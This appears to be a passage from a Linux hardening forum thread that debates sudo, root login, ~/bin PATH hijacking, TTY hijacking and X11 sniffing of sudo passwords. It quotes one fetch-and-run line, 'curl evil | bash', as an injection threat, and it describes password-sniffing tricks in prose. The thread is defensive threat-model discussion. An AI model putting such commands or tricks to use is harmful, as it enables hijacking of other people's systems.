Might also be caused by apt seccomp (since the postinst runs as root so su should be permitted). Need to try to reproduce on Debian without security-misc package with and without apt seccomp.
Even if you log in from virtual console and run
user@host:~$ /usr/bin/sudo
how do you know you are talking to bash? If you don’t trust user you don’t trust user.
~/bin/sudo isn’t part of $PATH by default so it won’t be executed by just running sudo.
Also, the chosen method was to login as the “admin” user, not the “user” user and as nothing except certain administrative activities would be run as the “admin” user, it’s unlikely there would be any malicious binary in ~/bin.
The login shell doesn’t use PATH to select what shell to use, it uses the explicit file path and the default shell is /bin/bash. See inside /etc/passwd.
You can find what you’re running anyway by running realpath $0.
If for whatever reason things like ~/bin/ would be a problem, you can just trim down $PATH to only contain the required directories or you can create a script that runs which command and checks if it’s the correct file path.
As per Debian default it kinda is: as soon as folder ~/bin exists and new shell opened (or after reboot?) it will be in PATH by default. Tested. I am using it and never changed PATH.
That was just an example. It still sources ~/.bashrc which could do whatever it wants. Or user might “debug” you. Or read/write /dev/tty$x. After that there is no reason to trust anything on that tty without SAK.
Yes I agree but there’s no mention of that in this thread.
The chosen method in this thread seems to be disable login as root, and force sudo instead. So now people login as user and run sudo instead of logging in as a separate user (root/admin).
It’s discussed here Safely Use Root Commands
as an Advanced option, and in the context of X.
X is an issue if a program not running as user can access it and sniff events. (Such a program could still try to inject “curl evil | bash” into a terminal though.)
So yes, a virtual console couldn’t hurt but it’s not a complete solution.
Edit: I just wanted to point out that the focus on X may give people the impression it’s okay to sudo from another console, which is what the non-advanced option is now. Done pointing now.
This is a different issue.
This forum thread “restrict root access” can be considered done. It does everything as described on page Strong Linux User Account Isolation.
But even then, Safely Use Root Commands remains valid. A user user used for the majority of daily tasks such as browsing the internet cannot be at the same time be an ideal user to run applications with root rights using sudo. That is because one user user is compromised, the sudo password can be sniffed. That is why boot modes without sudo/root access are being planned:
Ok profile can be taken out.
Ok ptrace and process_vm_readv are out.
TIOCSTI is out but once “user” is logged into tty1, “user” owns it and can emulate a shell after SIGSTOPing the real one.
I think we can agree Xorg sniffing is only a symptom of not trusting your own account. That is all I mean. But yes, it’s a big one.
Edit: I see, I did find in page, not find in javascript, so it didn’t show up. Sorry.
Right, the issue is isolation of processes by the same user, and Wayland removes the X-factor. But any malware must remain sandboxed to have secure password entry. Or does Wayland have some sort of sudo built in so it doesn’t have to be run by “user”?